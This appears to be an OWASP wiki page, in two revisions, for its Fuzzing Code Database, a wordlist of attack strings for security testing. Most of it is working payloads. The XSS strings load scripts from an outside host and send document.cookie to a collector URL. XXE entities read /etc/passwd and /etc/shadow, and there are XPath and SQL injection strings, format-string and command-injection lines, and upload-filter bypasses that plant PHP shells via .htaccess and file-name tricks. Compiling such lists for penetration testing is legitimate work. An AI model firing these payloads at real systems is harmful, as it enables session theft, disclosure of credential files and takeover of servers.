SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80067 2010-03-17T20:45:41Z

<p>Adam.muntner: /* File Upload Filter Bypass (Update: 17 March 2009 - notes */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 - notes ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> %00index.html<br /> ;index.html&lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> &lt;pre&gt;<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> &lt;pre&gt;{HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br 